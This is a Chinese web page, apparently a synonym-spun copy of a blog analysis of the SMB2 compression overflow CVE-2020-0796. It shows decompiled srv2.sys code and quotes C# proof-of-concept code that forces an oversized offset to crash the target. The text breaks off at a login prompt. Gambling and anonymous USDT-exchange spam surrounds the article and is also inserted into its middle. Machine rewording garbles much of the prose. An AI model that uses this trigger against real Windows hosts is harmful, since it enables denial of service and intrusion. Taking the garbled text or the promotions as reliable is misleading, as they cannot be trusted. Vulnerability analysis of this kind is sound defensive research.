皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

usdt交易所(www.caibao.it):SMB协议破绽剖析

admin2021-02-2553安全技术漏洞分析

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

简介

最近看了一些关于SMB的剖析文章,准备总结一下,主要先容SMB协议在前段时间出的CVE-2020-0796相关破绽。下面简朴先容一下SMB的相关知识。

SMB协议参考官方文档给的说明,大致作用如下,SMB版本1.0协议实现必须实现CIFS协议,而CIFS再往下就可以由TCP实现,大部门功效是文件系统的功效,端口在445端口,具体内容可以参考文档协议示例部门

客户端系统使用通用网络文件系统(CIFS)协议通过网络从服务器系统请求文件和打印服务。SMB则是对此协议的扩展,提供了附加的安全性,文件和磁盘治理支持。这些扩展不会改变CIFS协议的基本新闻顺序,但会引入新的标志,扩展的请求和响应以及新的信息级别。

之前爆出的SMB破绽主要是在SMB2之后的版本,SMB协议版本2和3,它们支持在机械之间共享文件和打印资源,并扩展了SMB1。Windows上对应的模块是 srv2.sys

SMB2数据包花样与SMB1完全差别。其所有功效参考官方文档内里 1.3 Overview 部门,毗邻顺序大致如下

  • 客户端确立与服务器的毗邻
  • 在该毗邻上确立经由身份验证的上下文
  • 发出种种请求来访问文件,打印机和命名管道以举行历程间通讯。

CVE-2020-0796

前置知识

这个破绽出在SMB2的压缩功效,要使用这个功效首先需要确立基本毗邻,要确立基本毗邻首先需要知道这个包是怎么组织出来的,在协议2.1部门说明晰包头是若何组成的,协议支持几种传输方式,这里直接凭据包花样选用Direct TCP头即可

其中第三个字段是SMB2Message,也就是SMB2的新闻,这个新闻也有一个头结构,在文档[MS-SMB2]的2.2.1部门可以找到,分为同步和异步两种头,拿异步头结构来举例,结构如下

字段长度如下所示,各个字段的意义有点多这里就不贴出来了,可以参考官方文档,异常详细

,

Usdt第三方支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
ProtocolId                        (4 bytes)
StructureSize                     (2 bytes)
CreditCharge                      (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence                   (2 bytes)
Reserved                          (2 bytes)
Status                            (4 bytes)
Command                           (2 bytes)
CreditRequest/CreditResons        (2 bytes)
Flags                             (4 bytes)
NextCommand                       (4 bytes)
MessageId                         (8 bytes)
AsyncId                           (8 bytes)
SessionId                         (8 bytes)
Signature                         (16 bytes)

有了上面的基础,组织这个SMB2协议包就很简朴了,包条理结构如下

Direct TCP header -> SMB2 header -> SMB data

下面需要解决毗邻顺序,官方文档中可以知道,这个协议初始化阶段有几种类型的包,如下图,图自这里

图中的包在文档里都有对应的结构,感兴趣的同伙可以对应文档看看。

破绽剖析

前面提到过这个破绽存在于srv2.sys的压缩功效,涉及到的包结构如下,对应文档2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER,连系压缩包这个名字,来看明白一下各个字段的寄义,第一个字段ProtocolId牢固稳定,第二个字段指定原始未压缩数据巨细,也就是这块数据有压缩的也有不压缩的,这里是指定不压缩的巨细,第三个字段指定压缩算法,第四个为一个标志,差别的标志影响第五个参数的意义,第五个参数这里只用到offset的意义,示意数据包中压缩数据相对于当前结构的偏移。

借用看雪论坛一位师傅画的图片,异常清晰,结构如下

下面看一下破绽函数,涉及的函数是Srv2DecompressData,凭据名字可以猜测到,此函数卖力解压上面结构的数据,其中会挪用到SmbCompressionDecompress函数卖力解压数据,而在这之前会挪用SrvNetAllocateBuffer函数卖力申请内存,然而这个函数的参数并没有检查是否溢出,这个函数的参数刚好是original size + Offset的巨细,完全由用户控制,溢出就会申请很小的内存,然而现实后面解压操作的内存比申请的大许多,导致了破绽的发生。

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
  __int64 v2; // rax
  __m128i v3; // xmm0
  unsigned int Algorithm; // ebp
  __int64 v7; // rbx MAPDST
  int v8; // eax
  __m128i Size; // [rsp+30h] [rbp-28h]
  int v10; // [rsp+60h] [rbp+8h] BYREF

  v10 = 0;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000090Bi64;
  Size = *(__m128i *)*(_QWORD *)(v2 + 24);
  v3 = _mm_srli_si128(Size, 8);                 // 4 bytes + 4 bytes
                                                // offset + compression algorithm
  Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( Algorithm != v3.m128i_u16[0] )
    return 0xC00000BBi64;
  v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
  if ( !v7 )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              Algorithm,
              *(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
              Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
              Size.m128i_i32[1],
              &v10) < 0
    || (v8 = v10, v10 != Size.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v7);
    return 0xC000090Bi64;
  }
  if ( Size.m128i_i32[3] )
  {
    memmove(
      *(void **)(v7 + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
      Size.m128i_u32[3]);                       // Offset
    v8 = v10;
  }
  *(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
  Srv2ReplaceReceiveBuffer(a1, v7);
  return 0i64;
}

破绽行使

有几种方式组织,Python最为利便,我测试的时刻C,、C、Python都试过,其中C,最为庞大,不外也最为官方,使用的是微软提供的一套协议测试框架,不外zecops已经有人写好了,在这里可以找到,其模板参考synacktiv之前发的文章,改动了大致下面几个文件和内容,需要注重的是,在编译的时刻需要安装指定.NET版本并提前编译好一些模块,然后导入才可以正常编译后续的exe

Smb2CompressedPacketed.cs    // 修改包类型
Smb2ClientTransport.cs       // 修改指定压缩算法
Smb2Compression.cs           // 修改压缩函数实现触发
Smb2CompressionForChained.cs // 删除此文件指定第五字段为offset

下面是synacktiv发出来的部门代码,直接写在了Smb2Compression.cs内里

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    {
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
    {
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
        {
            return packet;
        }*/

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
        {
            i++;
            return packet;
        }

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }
    }
  }
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
  class Program
  {
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
    {
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
        return;

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)
登录并阅读全文

网友评论

2条评论
  • 2021-02-06 00:06:28

    松原新闻网松原新闻网报道面广,不仅发布松原新闻,还开设到国内多个省份的重点新闻整合报道专栏,聚合焦点,摒弃传统新闻的枯燥无味,松原新闻网致力于报道热点和趣味性兼有的各类社会新闻,让用户读新闻不再困难,我们有最具阅读价值的专业新闻,,来松原新闻网,财经、教育、IT,您需要的资讯应有尽有,只需点击一键,获取全国各地的新闻。来了来了我来了

  • 2021-02-25 00:00:49

    UG环球官网欢迎进入UG环球官网(环球UG),UG环球官方网站:www.ugbet.us开放UG环球网址访问、UG环球会员注册、UG环球代理申请、UG环球电脑客户端、UG环球手机版下载等业务。吐血推荐!!